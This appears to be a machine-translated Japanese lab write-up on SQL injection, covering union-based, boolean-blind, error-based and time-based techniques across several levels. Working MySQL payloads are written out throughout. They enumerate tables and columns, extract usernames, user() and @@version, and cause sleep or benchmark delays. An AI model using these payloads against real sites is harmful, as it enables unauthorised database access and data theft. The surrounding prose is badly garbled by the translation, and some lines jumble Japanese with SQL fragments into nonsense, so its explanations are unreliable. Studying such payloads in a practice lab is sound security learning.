まず第一に
共同注入
1.準備
2. [追加「を切り捨て
クエリ列の数を決定することにより3.order
4.同上。
ユニオンクエリのフィールド位置決意
データベース名を確認してください6
7.1名のルックアップテーブル
7.2列名をチェック
8.調査データ
第二のハードル
単一引用符は、整数値のクエリコードと、カットする必要はありません
最初のハードルとして、そうでない場合と同じ
サードオフ
(「」)の構造を説明
「で置き換え)へ
第四オフ
(「」)の構造によって示されます
に置き換えます「)
フィフスオフ
....でウルを求めるメッセージが表示されているものを入力どんなに
何の反響はありませんが、ブラインドを試してみてください
ブールブラインド
ブールブラインドの方法があります----
左(1,2)= 1フロント2の左側から取り出さ// 3、および値の比較の3
第二の位置の開始文字列の長さの値から取られたASCII(SUBSTR(1,2,3))// 3は、値がASCIIに変換され、1
正規表現//通常のマッチ指定された目標値と値AZ、右1、0エラー
ID = 1と1 =(TABLE_SCHEMA = 'セキュリティ' とテーブル名の正規表現 '^米国[AZ]' リミット0,1 INFORMATION_SCHEMA.TABLESから1を選択)ユーザSELECT * FROM
//と同じ正規表現のような
ORD()とMID()
(1)用の左
1.テスト
前記第1のテストデータベースはbよりも大きいです
yよりも大きいです
したがって、B yの最初のビットとの間、試験二分法に使用することができ、その後、何二分法は、数等しい標本になることはできません
従って最初の二つの測定など
長手方向の長さ量データベース(2)
(3)とSUBSTR ASCIIと
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+
最初のテストテーブル名がeではありません
第SUBSTR(X、2,1)2はそう、変更することができます
、変化制限2,1 2(3つのシスビット)開始から表し、0,1を制限する第3のテーブルを取得し、値をとる1
(4)正規表現
列のユーザーテーブルをゲス
and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)
中期およびORDと(5)
コンテンツのユーザテーブルを取得
and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68
68と比較して、ASCIIのテーブル名のユーザーの最初の行の最初の文字を取得します
エラーブラインド
ブラインドエラーの種類があります----
数、床、グループによって
範囲外のdouble値
BIGINTオーバーフローXPath関数--extractvalueとUPDATEXML
データの再現性
(1)床関数
union select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a from information_schema.columns group by a
(2)範囲のうち重複値
(首尾よく再現することができません)
union select (exp(~(select*from(select user())x))),2,3
(3)BIGINTオーバーフロー
(また、正常に再現することができませんでした)
union select(!(select * from(select user())x) - ~0),2,3
(4)XPath関数
and extractvalue(1,concat(0x7e,(select @@version),0x7e))
and updatexml(1,concat(0x7e,(select@@version),0x7e),1)
(5)データの再現性
union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x
タイムブラインド
時間ブラインドタイプがあります----
スリープ()関数
BENCHMARK()関数
(1)スリープ機能
エラー、5秒の遅延
正しいです
and If(ascii(substr(database(),1,1))=115,1,sleep(5))
(2)ベンチマーク関数
正しいです
UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM(select database() as current)as tb1
正しい結果は、実行ENCODE(「MSG」、「by5seconds」)操作5000万回は、いくつかの時間とCPUリソースを取るときとき
第六オフ
プロセスのIDパラメータは、に」置き換えます "
これまでのところ、基本的に終了した注入の一般的なタイプを記述する